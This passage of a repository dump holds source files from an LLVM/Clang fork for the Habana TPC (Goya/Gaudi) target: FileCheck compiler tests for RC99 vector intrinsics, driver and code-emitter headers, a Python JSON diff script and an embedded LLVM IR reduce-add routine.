%s\n// RUN: %clang_cc1 -S -O0 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 %s -o - | FileCheck %s\n// RUN: %clang_cc1 -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 %s -o - | FileCheck %s\n\nvoid main(int src, int dest) {\n bool256 __local *dptr = (bool256 __local*)dest;\n bool256 __local *ptr = (bool256 __local*)src;\n bool256 x = *ptr;\n *dptr ^= x;\n}\n\n// CHECK-DAG: ld_l_v {{%VP[0-9]+}}, %S0,{{.*}} %SP0\n// CHECK-DAG: ld_l_v {{%VP[0-9]+}}, %S1,{{.*}} %SP0\n// CHECK: xor.b [[VPR3:%VP[0-9]+]], {{%VP[0-9]+}}, {{%VP[0-9]+}}, %SP0\n// CHECK: st_l_v %S1,{{.*}} [[VPR3]], %SP0\n" }, { "alpha_fraction": 0.5719201564788818, "alphanum_fraction": 0.5746731162071228, "avg_line_length": 32.79069900512695, "blob_id": "208fa7809ee7b01709e2e8940a47ca54a27d999a", "content_id": "09230074407390b1f1e9d7bf4c32007e90fbaf63", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1453, "license_type": "permissive", "max_line_length": 80, "num_lines": 43, "path": "/clang/lib/Driver/ToolChains/Arch/TPC.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===--- TPC.cpp - TPC Helpers for Tools ------------------------*- C++ -*-===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n//===----------------------------------------------------------------------===//\n#include \"TPC.h\"\n#include \"ToolChains/CommonArgs.h\"\n#include \"clang/Driver/Driver.h\"\n#include \"clang/Driver/DriverDiagnostic.h\"\n#include \"clang/Driver/Options.h\"\n#include \"llvm/ADT/StringSwitch.h\"\n#include \"llvm/Option/ArgList.h\"\n\nusing namespace clang::driver;\nusing namespace clang::driver::tools;\nusing namespace clang;\nusing namespace llvm::opt;\n\nconst char *tpc::getTPCTargetCPU(const ArgList &Args,\n const llvm::Triple &Triple) {\n StringRef CPU;\n if (const Arg *A = Args.getLastArg(options::OPT_march_EQ))\n CPU = A->getValue();\n else if (const Arg *A = Args.getLastArg(options::OPT_mtune_EQ))\n CPU = A->getValue();\n else if (const Arg *A = Args.getLastArg(options::OPT_mcpu_EQ))\n CPU = A->getValue();\n\n if (CPU.equals(\"dali\"))\n return \"goya\";\n if (!CPU.empty())\n return CPU.data();\n\n return \"goya\";\n}\n\nvoid tpc::getTPCTargetFeatures(const Driver &D, const ArgList &Args,\n std::vector<StringRef> &Features) {\n}\n" }, { "alpha_fraction": 0.50492262840271, "alphanum_fraction": 0.5699718594551086, "avg_line_length": 34.54999923706055, "blob_id": "e2493e29d77a84fcd5a10abbaf1d157a1104fe86", "content_id": "1b389579e3a1dfb927d6ff4b764044a1a6b73eda", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2844, "license_type": "permissive", "max_line_length": 107, "num_lines": 80, "path": "/clang/test/RC99/Intrinsics/v_convert_f32_to_bf16_single.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 %s -o - | FileCheck %s\n\n\nvoid main(int dest, int src1, int vpredp, _Bool pred) {\n volatile bfloat128 __local *dest_ptr = (bfloat128 __local *)dest;\n float64 __local *src_ptr = (float64 __local *)src1;\n bool256 __local *vpred_ptr = (bool256 __local *)vpredp;\n\n float64 x = *src_ptr++;\n bool256 vpred = *vpred_ptr++;\n bfloat128 income = *dest_ptr;\n\n // CHECK-DAG: ld_l_v [[DEST:%V[0-9]+]], %S0\n // CHECK-DAG: ld_l_v [[SRC:%V[0-9]+]], %S1\n // CHECK-DAG: ld_l_v [[VPRED:%VP[0-9]+]], %S2\n // CHECK-DAG: mov{{.*}}\t[[PRED:%SP[0-9]+]], %S3\n\n // v_convert_f32_to_bf16_single_b\n {\n bfloat128 res = income;\n\n res = v_convert_f32_to_bf16_single_b(x, 0, res, pred, 0);\n *dest_ptr++ = res;\n // CHECK: convert.f32 target_type=bf16 rhne [[DEST]], [[SRC]], [[PRED]]\n\n res = v_convert_f32_to_bf16_single_b(x, 0, res, pred, 0);\n *dest_ptr++ = res;\n // CHECK: convert.f32 target_type=bf16 rhne [[DEST]], [[SRC]], [[PRED]]\n\n res = v_convert_f32_to_bf16_single_b(x, 0, res, pred, 0);\n *dest_ptr++ = res;\n // CHECK: convert.f32 target_type=bf16 rhne [[DEST]], [[SRC]], [[PRED]]\n\n res = v_convert_f32_to_bf16_single_b(x, SW_RHNE, res, pred, 0);\n *dest_ptr++ = res;\n // CHECK: convert.f32 target_type=bf16 rhne [[DEST]], [[SRC]], %SP1\n\n res = v_convert_f32_to_bf16_single_b(x, SW_RZ, res, pred, 0);\n *dest_ptr++ = res;\n // CHECK: convert.f32 target_type=bf16 rz [[DEST]], [[SRC]], [[PRED]]\n\n res = v_convert_f32_to_bf16_single_b(x, SW_SR, res, pred, 0);\n *dest_ptr++ = res;\n // CHECK: convert.f32 target_type=bf16 sr [[DEST]], [[SRC]], [[PRED]]\n\n\n res = v_convert_f32_to_bf16_single_b(x, SW_RD, res, pred, 0);\n *dest_ptr++ = res;\n // CHECK: convert.f32 target_type=bf16 rd [[DEST]], [[SRC]], [[PRED]]\n\n res = v_convert_f32_to_bf16_single_b(x, SW_RU, res, pred, 0);\n *dest_ptr++ = res;\n // CHECK: convert.f32 target_type=bf16 ru [[DEST]], [[SRC]], [[PRED]]\n\n income = res;\n }\n\n // v_convert_f32_to_bf16_single_vb\n {\n bfloat128 res = income;\n\n res = v_convert_f32_to_bf16_single_vb(x, 0, res, to_bool128(vpred), 0);\n *dest_ptr++ = res;\n // CHECK: convert.f32 target_type=bf16 rhne [[DEST]], [[SRC]], [[VPRED]]\n\n res = v_convert_f32_to_bf16_single_vb(x, 0, res, to_bool128(vpred), 0);\n *dest_ptr++ = res;\n // CHECK: convert.f32 target_type=bf16 rhne [[DEST]], [[SRC]], [[VPRED]]\n\n res = v_convert_f32_to_bf16_single_vb(x, 0, res, to_bool128(vpred), 0);\n *dest_ptr++ = res;\n // CHECK: convert.f32 target_type=bf16 rhne [[DEST]], [[SRC]], [[VPRED]]\n\n res = v_convert_f32_to_bf16_single_vb(x, 0, res, to_bool128(vpred), 1);\n *dest_ptr++ = res;\n // CHECK: convert.f32 target_type=bf16 rhne [[DEST]], [[SRC]], ![[VPRED]]\n\n income = res;\n }\n}\n" }, { "alpha_fraction": 0.6239578723907471, "alphanum_fraction": 0.6274681687355042, "avg_line_length": 37.62711715698242, "blob_id": "a64895e7d0568786f22dc2d2b8be882fa8c6febe", "content_id": "ea2c3ccae94674ec7b9f32c2cec5b6c4b8ede658", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2279, "license_type": "permissive", "max_line_length": 92, "num_lines": 59, "path": "/llvm/lib/Target/TPC/TPCRegisterInfo.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===-- TPCRegisterInfo.h - Sparc Register Information Impl ---*- C++ -*-===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n// This file contains the TPC implementation of the TargetRegisterInfo class.\n//\n//===----------------------------------------------------------------------===//\n\n#ifndef LLVM_LIB_TARGET_TPC_TPCREGISTERINFO_H\n#define LLVM_LIB_TARGET_TPC_TPCREGISTERINFO_H\n\n#include \"llvm/CodeGen/TargetRegisterInfo.h\"\n\n#define GET_REGINFO_HEADER\n#include \"TPCGenRegisterInfo.inc\"\n\nnamespace llvm {\nstruct TPCRegisterInfo : public TPCGenRegisterInfo {\n TPCRegisterInfo();\n\n /// Code Generation virtual methods...\n const MCPhysReg *getCalleeSavedRegs(const MachineFunction *MF) const override;\n const uint32_t *getCallPreservedMask(const MachineFunction &MF,\n CallingConv::ID CC) const override;\n\n const uint32_t* getRTCallPreservedMask(CallingConv::ID CC) const;\n\n BitVector getReservedRegs(const MachineFunction &MF) const override;\n\n const TargetRegisterClass *getPointerRegClass(const MachineFunction &MF,\n unsigned Kind) const override;\n\n void eliminateFrameIndex(MachineBasicBlock::iterator II,\n int SPAdj, unsigned FIOperandNum,\n RegScavenger *RS = nullptr) const override;\n\n Register getFrameRegister(const MachineFunction &MF) const override;\n\n bool canRealignStack(const MachineFunction &MF) const override;\n\n bool trackLivenessAfterRegAlloc(const MachineFunction &MF) const override { return true; }\n\n bool getRegAllocationHints(unsigned VirtReg,\n ArrayRef<MCPhysReg> Order,\n SmallVectorImpl<MCPhysReg> &Hints,\n const MachineFunction &MF,\n const VirtRegMap *VRM = nullptr,\n const LiveRegMatrix *Matrix = nullptr)\n const override;\n bool isConstantPhysReg(unsigned PhysReg) const override;\n};\n\n} // end namespace llvm\n\n#endif\n" }, { "alpha_fraction": 0.4614757299423218, "alphanum_fraction": 0.5344476103782654, "avg_line_length": 22.36190414428711, "blob_id": "f6b5d45e86270a1e1845488e140f6dca02fea823", "content_id": "d798685800760bdcec22c3ef03b0c3ff1ce3d088", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2453, "license_type": "permissive", "max_line_length": 106, "num_lines": 105, "path": "/clang/test/RC99/IntrinsicsL/mov_flavor.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 %s -o - | FileCheck %s\n\n\nvoid main(int dest, int x, int vpredp, _Bool pred) {\n volatile bool256 __local *dest_ptr = (bool256 __local *)dest;\n bool256 __local *vpred_ptr = (bool256 __local *)vpredp;\n\n bool256 vpred = *vpred_ptr++;\n bool256 income = *dest_ptr++;\n// CHECK-DAG: ld_l_v [[DEST:%VP[0-9]+]], %S0\n// CHECK-DAG: ld_l_v [[VPRED:%VP[0-9]+]], %S2\n// CHECK-DAG: mov{{.*}}\t[[PRED:%SP[0-9]+]], %S3\n\n\n // bv_i32_mov_flavor_s_b\n {\n bool256 res = income;\n\n res = bv_i32_mov_flavor_s_b(0x55, res, 1, pred, 0);\n *dest_ptr++ = res;\n// CHECK: mov 0x1 [[DEST]], 0x55, [[PRED]]\n\n res = bv_i32_mov_flavor_s_b(x, res, 2, pred, 1);\n *dest_ptr++ = res;\n// CHECK: mov 0x2 [[DEST]], %S1, ![[PRED]]\n\n income = res;\n }\n\n // bv_i32_mov_flavor_s_vb\n {\n bool256 res = income;\n\n res = bv_i32_mov_flavor_s_vb(0x55, res, 1, vpred, 0);\n *dest_ptr++ = res;\n// CHECK: mov 0x1 [[DEST]], 0x55, [[VPRED]]\n\n res = bv_i32_mov_flavor_s_vb(x, res, 2, vpred, 1);\n *dest_ptr++ = res;\n// CHECK: mov 0x2 [[DEST]], %S1, ![[VPRED]]\n\n income = res;\n }\n\n // bv_i32_mov_flavor_s\n {\n bool256 res = income;\n\n res = bv_i32_mov_flavor_s(0x55, res, 1);\n *dest_ptr++ = res;\n// CHECK: mov 0x1 [[DEST]], 0x55\n\n res = bv_i32_mov_flavor_s(x, res, 2);\n *dest_ptr++ = res;\n// CHECK: mov 0x2 [[DEST]], %S1\n\n income = res;\n }\n\n // bv_u32_mov_flavor_s_b\n {\n bool256 res = income;\n\n res = bv_u32_mov_flavor_s_b(0x55, res, 1, pred, 0);\n *dest_ptr++ = res;\n// CHECK: mov 0x1 [[DEST]], 0x55, [[PRED]]\n\n res = bv_u32_mov_flavor_s_b(x, res, 2, pred, 1);\n *dest_ptr++ = res;\n// CHECK: mov 0x2 [[DEST]], %S1, ![[PRED]]\n\n income = res;\n }\n\n // bv_u32_mov_flavor_s_vb\n {\n bool256 res = income;\n\n res = bv_u32_mov_flavor_s_vb(0x55, res, 1, vpred, 0);\n *dest_ptr++ = res;\n// CHECK: mov 0x1 [[DEST]], 0x55, [[VPRED]]\n\n res = bv_u32_mov_flavor_s_vb(x, res, 2, vpred, 1);\n *dest_ptr++ = res;\n// CHECK: mov 0x2 [[DEST]], %S1, ![[VPRED]]\n\n income = res;\n }\n\n // bv_u32_mov_flavor_s\n {\n bool256 res = income;\n\n res = bv_u32_mov_flavor_s(0x55, res, 1);\n *dest_ptr++ = res;\n// CHECK: mov 0x1 %VP{{[1-2]}}, 0x55\n\n res = bv_u32_mov_flavor_s(x, res, 2);\n *dest_ptr++ = res;\n// CHECK: mov 0x2 %VP{{[1-2]}}, %S1\n\n income = res;\n }\n}\n" }, { "alpha_fraction": 0.480082631111145, "alphanum_fraction": 0.49218058586120605, "avg_line_length": 30.379629135131836, "blob_id": "d84bd5d8b2678591be9285e33380cb96609cd99b", "content_id": "b8c14bb9b75af6d90d5cbd2a1829d9a29fbeb289", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3389, "license_type": "permissive", "max_line_length": 88, "num_lines": 108, "path": "/llvm/utils/TPC/json-diff.py", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n\nimport sys\nimport json\n\neps = 0.0000001\n\n\ndef is_equal(val1, val2):\n if type(val1) is float or type(val2) is float:\n return abs(val1 - val2) < eps\n return val1 == val2\n\n\ndef compareArrays(orig,new):\n differences = []\n diffOrig = []\n diffNew = []\n for i, value1 in enumerate(orig):\n if len(new) <= i:\n diffOrig.append(value1)\n continue\n value2 = new[i]\n if not is_equal(value1, value2):\n diffOrig.append(value1)\n diffNew.append(value2)\n elif diffOrig != [] or diffNew != []:\n differences.append((diffOrig,diffNew))\n diffOrig = []\n diffNew = []\n if len(new) > len(orig):\n diffNew = diffNew + new[len(orig):]\n if diffOrig != [] or diffNew != []:\n differences.append((diffOrig, diffNew))\n if differences != []:\n return differences\n else:\n return False\n\ndef checkDifference(orig, new):\n diff = {}\n if type(orig) != type(new):\n # print \"Type difference\"\n return True\n if type(orig) is dict and type(new) is dict:\n # print \"Types are both dicts\"\n ##\tCheck each of these dicts from the key level\n diffTest = False\n for key in orig:\n if key not in new:\n diff[key] = (\"KeyNotFound\", orig[key])\n print(\"Key not found: \" + key)\n diffTest = True\n else:\n result = checkDifference(orig[key], new[key])\n if result != False: ## Means a difference was found and returned\n diffTest = True\n print(\"key/Values different in: \" + str(key))\n if type(result) is list:\n for diffGroup in result:\n for value in diffGroup[0]:\n print(value)\n print(\"---\")\n for value in diffGroup[1]:\n print(value)\n print(\"===\")\n elif type(result[0]) is str:\n print(result[0])\n print(\"---\")\n print(result[1])\n diff[key] = result\n ##\tAnd check for keys in second dataset that aren't in first\n for key in new:\n if key not in orig:\n diff[key] = (\"KeyNotFound\", new[key])\n print(\"Key not found: \" + key)\n diffTest = True\n if diffTest:\n return diff\n else:\n return False\n elif type(orig) is list and type(new) is list:\n #print \"Types were not dicts, likely strings\"\n return compareArrays(orig,new)\n else:\n return False if is_equal(orig, new) else (orig, new)\n return diff\n\ndef main(argv):\n if \"-eps\" in argv:\n epsIndex = argv.index(\"-eps\")\n global eps\n eps = float(argv[epsIndex+1])\n del argv[epsIndex+1]\n argv.remove(\"-eps\")\n if len(argv) < 2:\n print(\"Usage: python json-diff.py <file1>.json <file2>.json [-eps <precision>]\")\n return\n with open(argv[0]) as f:\n json1 = json.load(f)\n with open(argv[1]) as f:\n json2 = json.load(f)\n if checkDifference(json1, json2):\n exit(1)\n\n\nif __name__ == \"__main__\":\n main(sys.argv[1:])\n" }, { "alpha_fraction": 0.6133850812911987, "alphanum_fraction": 0.6230843663215637, "avg_line_length": 29.323530197143555, "blob_id": "0a10ddd73f6073a767c8403c26d3f7831129b590", "content_id": "a37905563bfa711a40cf75a171897b550c741124", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 5155, "license_type": "permissive", "max_line_length": 110, "num_lines": 170, "path": "/llvm/lib/Target/TPC/MCTargetDesc/TPCMCCodeEmitter.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===-- TPCMCCodeEmitter.h - Convert TPC Code to Machine Code -----------===//\n//\n// The LLVM Compiler Infrastructure\n//\n// This file is distributed under the University of Illinois Open Source\n// License. See LICENSE.TXT for details.\n//\n//===----------------------------------------------------------------------===//\n//\n// This file defines the TPCMCCodeEmitter class.\n//\n//===----------------------------------------------------------------------===//\n//\n\n#ifndef LLVM_LIB_TARGET_TPC_MCTARGETDESC_TPCMCCODEEMITTER_H\n#define LLVM_LIB_TARGET_TPC_MCTARGETDESC_TPCMCCODEEMITTER_H\n\n#include \"llvm/ADT/APInt.h\"\n#include \"llvm/MC/MCCodeEmitter.h\"\n#include \"llvm/Support/DataTypes.h\"\n#include <inttypes.h>\n\nusing namespace llvm;\n\nnamespace llvm {\nclass MCContext;\nclass MCExpr;\nclass MCInst;\nclass MCInstrInfo;\nclass MCFixup;\nclass MCOperand;\nclass MCSubtargetInfo;\nclass raw_ostream;\n\nclass TPCInstrBits {\npublic:\n uint64_t VPUInst;\n uint64_t SPUInst;\n uint64_t LDInst;\n uint64_t STInst;\n uint16_t LdSrcExtra;\n uint8_t StSrcExtra;\n uint8_t LdSwitch;\n uint8_t StSwitch;\n uint64_t Imm;\n bool immSlotBusy;\n unsigned compress;\n bool inited;\n bool hasVPU;\n bool hasSPU;\n bool hasLD;\n bool hasST;\n bool doNotCompress;\n const MCInst* MI;\npublic:\n TPCInstrBits()\n : VPUInst(0L), SPUInst(0L), LDInst(0L), STInst(0L),\n LdSrcExtra(0), StSrcExtra(0), LdSwitch(0), StSwitch(0),\n\tImm(0L), immSlotBusy(false), compress(0), inited(false)\n {\n hasVPU = false;\n hasSPU = false;\n hasLD = false;\n hasST = false;\n doNotCompress = false;\n }\n\n ~TPCInstrBits() {}\n \n void clear() {\n hasVPU = false;\n hasSPU = false;\n hasLD = false;\n hasST = false;\n\n VPUInst = 0L;\n SPUInst = 0L;\n LDInst = 0L;\n STInst = 0L;\n\n LdSrcExtra = 0;\n StSrcExtra = 0;\n LdSwitch = 0;\n StSwitch = 0;\n Imm = 0L;\n immSlotBusy = false;\n\n compress = 0;\n inited = false;\n doNotCompress = false;\n }\n};\n\nclass TPCMCCodeEmitter : public MCCodeEmitter {\n TPCMCCodeEmitter(const TPCMCCodeEmitter &) = delete;\n void operator=(const TPCMCCodeEmitter &) = delete;\n const MCInstrInfo &MCII;\n MCContext &Ctx;\n mutable TPCInstrBits prevBits;\n\npublic:\n TPCMCCodeEmitter(const MCInstrInfo &mcii, MCContext &Ctx_)\n : MCII(mcii), Ctx(Ctx_) {}\n\n ~TPCMCCodeEmitter() override {}\n \n int isVPUInst(const MCInst &MI) const;\n int isSPUInst(const MCInst &MI) const;\n int isLoadInst(const MCInst &MI) const;\n int isStoreInst(const MCInst &MI) const;\n int isLoopInst(const MCInst &MI) const;\n\n void EmitByte(unsigned char C, raw_ostream &OS) const;\n\n void EmitInstruction(APInt &Instruction, unsigned Size, raw_ostream &OS) const;\n\n void encodeInstruction(const MCInst &MI, raw_ostream &OS,\n SmallVectorImpl<MCFixup> &Fixups,\n const MCSubtargetInfo &STI) const override;\n\n void emitBits(raw_ostream& OS, TPCInstrBits *Bits, const MCSubtargetInfo &STI) const;\n\n void fillInstrBits(const MCInst& MI,\n SmallVectorImpl<MCFixup>& Fixups,\n TPCInstrBits& Bits,\n const MCSubtargetInfo& STI,\n bool ignoreNops,\n bool isSingle = true,\n const Optional<uint64_t>& StoreSrcC = Optional<uint64_t>()) const;\n\n // getBinaryCodeForInstr - TableGen'erated function for getting the\n // binary encoding for an instruction.\n uint64_t getBinaryCodeForInstr(const MCInst &MI,\n SmallVectorImpl<MCFixup> &Fixups,\n const MCSubtargetInfo &STI) const;\n\n /// getMachineOpValue - Return binary encoding of operand. If the machine\n /// operand requires relocation, record the relocation and return zero.\n unsigned getMachineOpValue(const MCInst &MI,const MCOperand &MO,\n SmallVectorImpl<MCFixup> &Fixups,\n const MCSubtargetInfo &STI) const;\n\n unsigned getRrMemoryOpValue(const MCInst &Inst, unsigned OpNo,\n SmallVectorImpl<MCFixup> &Fixups,\n const MCSubtargetInfo &SubtargetInfo) const;\n unsigned encodePredicate(const MCInst &Inst, unsigned OpNo,\n SmallVectorImpl<MCFixup> &Fixups,\n const MCSubtargetInfo &SubtargetInfo) const;\n\n void EmitConstant(uint64_t Val, unsigned Size, raw_ostream &OS) const {\n // Output the constant in little endian byte order.\n for (unsigned i = 0; i != Size; ++i) {\n unsigned Shift = i * 8;\n EmitByte((Val >> Shift) & 0xff, OS);\n }\n }\n\n uint64_t getInstrBits(const MCInst& MI, SmallVectorImpl<MCFixup>& Fixups, const MCSubtargetInfo& STI) const;\n\n void encodeLoop(const MCInst &Inst, raw_ostream& OS, uint64_t Bin, SmallVectorImpl<MCFixup>& Fixups,\n const MCSubtargetInfo &STI) const;\n\n unsigned encodeTPCImm(const MCInst &Inst, unsigned OpNo,\n SmallVectorImpl<MCFixup> &Fixups,\n const MCSubtargetInfo &SubtargetInfo) const;\n \n}; // class TPCMCCodeEmitter\n} // namespace llvm.\n\n#endif\n" }, { "alpha_fraction": 0.606965184211731, "alphanum_fraction": 0.6218905448913574, "avg_line_length": 32.5, "blob_id": "84b7de86885b0d7a7b4d22c8241f116aaa635a1c", "content_id": "a6b23e1d5701f701b8292b4818855d9f51695464", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 201, "license_type": "permissive", "max_line_length": 101, "num_lines": 6, "path": "/clang/test/RC99/driver/driver-05.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %tpc_clang -c -main-function main_relaxed %s -### 2>&1 | FileCheck -check-prefix=CHECK-DRV %s\n\n// CHECK-DRV: clang{{.*}}-cc1{{.*}}-main-function{{.*}}main_relaxed\n\nvoid main_relaxed(int I) {\n}\n" }, { "alpha_fraction": 0.38324496150016785, "alphanum_fraction": 0.6414633989334106, "avg_line_length": 93.30000305175781, "blob_id": "55bf1ffc9ee846652a3182c376babab291fecf17", "content_id": "4cacd0f28ec1208c88a5fc48682c5b5a58d42e36", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 9430, "license_type": "permissive", "max_line_length": 611, "num_lines": 100, "path": "/llvm/include/llvm/Transforms/IPO/TPCHeaders/Gaudi/ReduceAddBF16.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===--------ReduceAddBF16.h-----------------------------------------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n//===----------------------------------------------------------------------===//\nconst llvm::StringRef GaudiReduceAddBF16LL = R\"(\n; Function Attrs: alwaysinline nounwind\ndefine dso_local <128 x bfloat16> @v_bf16_reduce_add(<128 x bfloat16> %x) local_unnamed_addr #5 {\nentry:\n %0 = call <64 x i32> @llvm.read_register.v64i32(metadata !0)\n %1 = call <128 x float> @llvm.tpc.lookup.2c.v128f32.v64i32(<64 x i32> %0, i32 140, i32 0, <128 x float> undef, i1 true, i1 false)\n %2 = shufflevector <128 x float> %1, <128 x float> undef, <64 x i32> <i32 0, i32 1, i32 2, i32 3, i32 4, i32 5, i32 6, i32 7, i32 8, i32 9, i32 10, i32 11, i32 12, i32 13, i32 14, i32 15, i32 16, i32 17, i32 18, i32 19, i32 20, i32 21, i32 22, i32 23, i32 24, i32 25, i32 26, i32 27, i32 28, i32 29, i32 30, i32 31, i32 32, i32 33, i32 34, i32 35, i32 36, i32 37, i32 38, i32 39, i32 40, i32 41, i32 42, i32 43, i32 44, i32 45, i32 46, i32 47, i32 48, i32 49, i32 50, i32 51, i32 52, i32 53, i32 54, i32 55, i32 56, i32 57, i32 58, i32 59, i32 60, i32 61, i32 62, i32 63>\n %3 = shufflevector <128 x float> %1, <128 x float> undef, <64 x i32> <i32 64, i32 65, i32 66, i32 67, i32 68, i32 69, i32 70, i32 71, i32 72, i32 73, i32 74, i32 75, i32 76, i32 77, i32 78, i32 79, i32 80, i32 81, i32 82, i32 83, i32 84, i32 85, i32 86, i32 87, i32 88, i32 89, i32 90, i32 91, i32 92, i32 93, i32 94, i32 95, i32 96, i32 97, i32 98, i32 99, i32 100, i32 101, i32 102, i32 103, i32 104, i32 105, i32 106, i32 107, i32 108, i32 109, i32 110, i32 111, i32 112, i32 113, i32 114, i32 115, i32 116, i32 117, i32 118, i32 119, i32 120, i32 121, i32 122, i32 123, i32 124, i32 125, i32 126, i32 127>\n %add = add <64 x i32> %0, <i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64, i32 64>\n %4 = call <128 x float> @llvm.tpc.lookup.2c.v128f32.v64i32(<64 x i32> %add, i32 140, i32 0, <128 x float> undef, i1 true, i1 false)\n %5 = shufflevector <128 x float> %4, <128 x float> undef, <64 x i32> <i32 0, i32 1, i32 2, i32 3, i32 4, i32 5, i32 6, i32 7, i32 8, i32 9, i32 10, i32 11, i32 12, i32 13, i32 14, i32 15, i32 16, i32 17, i32 18, i32 19, i32 20, i32 21, i32 22, i32 23, i32 24, i32 25, i32 26, i32 27, i32 28, i32 29, i32 30, i32 31, i32 32, i32 33, i32 34, i32 35, i32 36, i32 37, i32 38, i32 39, i32 40, i32 41, i32 42, i32 43, i32 44, i32 45, i32 46, i32 47, i32 48, i32 49, i32 50, i32 51, i32 52, i32 53, i32 54, i32 55, i32 56, i32 57, i32 58, i32 59, i32 60, i32 61, i32 62, i32 63>\n %6 = shufflevector <128 x float> %4, <128 x float> undef, <64 x i32> <i32 64, i32 65, i32 66, i32 67, i32 68, i32 69, i32 70, i32 71, i32 72, i32 73, i32 74, i32 75, i32 76, i32 77, i32 78, i32 79, i32 80, i32 81, i32 82, i32 83, i32 84, i32 85, i32 86, i32 87, i32 88, i32 89, i32 90, i32 91, i32 92, i32 93, i32 94, i32 95, i32 96, i32 97, i32 98, i32 99, i32 100, i32 101, i32 102, i32 103, i32 104, i32 105, i32 106, i32 107, i32 108, i32 109, i32 110, i32 111, i32 112, i32 113, i32 114, i32 115, i32 116, i32 117, i32 118, i32 119, i32 120, i32 121, i32 122, i32 123, i32 124, i32 125, i32 126, i32 127>\n %7 = bitcast <64 x float> %2 to <256 x i8>\n %8 = bitcast <64 x float> %3 to <256 x i8>\n %9 = bitcast <64 x float> %5 to <256 x i8>\n %10 = bitcast <64 x float> %6 to <256 x i8>\n %11 = call <128 x bfloat16> @llvm.tpc.mov.dual.group.all.v128bf16.i1(<128 x bfloat16> %x, i32 -1, i32 16756992, <128 x bfloat16> zeroinitializer, i1 true, i1 false)\n %12 = fadd <128 x bfloat16> %11, %x\n %13 = call <128 x bfloat16> @llvm.tpc.mov.dual.group.all.v128bf16.i1(<128 x bfloat16> %12, i32 -1, i32 16731648, <128 x bfloat16> %11, i1 true, i1 false)\n %14 = fadd <128 x bfloat16> %12, %13\n %15 = call <128 x bfloat16> @llvm.tpc.mov.group.v128bf16.v128bf16.i1(<128 x bfloat16> %14, i32 -1, i32 63, <128 x bfloat16> %13, i1 true, i1 false)\n %16 = fadd <128 x bfloat16> %14, %15\n %17 = call <128 x bfloat16> @llvm.tpc.shuffle.v128bf16.i1(<128 x bfloat16> %16, <256 x i8> %7, i8 1, i32 0, <128 x bfloat16> %15, i1 true, i1 false)\n %18 = fadd <128 x bfloat16> %16, %17\n %19 = call <128 x bfloat16> @llvm.tpc.shuffle.v128bf16.i1(<128 x bfloat16> %18, <256 x i8> %8, i8 1, i32 0, <128 x bfloat16> %17, i1 true, i1 false)\n %20 = fadd <128 x bfloat16> %18, %19\n %21 = call <128 x bfloat16> @llvm.tpc.shuffle.v128bf16.i1(<128 x bfloat16> %20, <256 x i8> %9, i8 1, i32 0, <128 x bfloat16> %19, i1 true, i1 false)\n %22 = fadd <128 x bfloat16> %20, %21\n %23 = call <128 x bfloat16> @llvm.tpc.shuffle.v128bf16.i1(<128 x bfloat16> %22, <256 x i8> %10, i8 1, i32 0, <128 x bfloat16> %21, i1 true, i1 false)\n %24 = fadd <128 x bfloat16> %22, %23\n ret <128 x bfloat16> %24\n}\n\ndeclare bfloat16 @llvm.tpc.convert.bf16.f32.i1(float, i8, i32, bfloat16, i1, i1) #1\n\ndeclare <5 x i32> 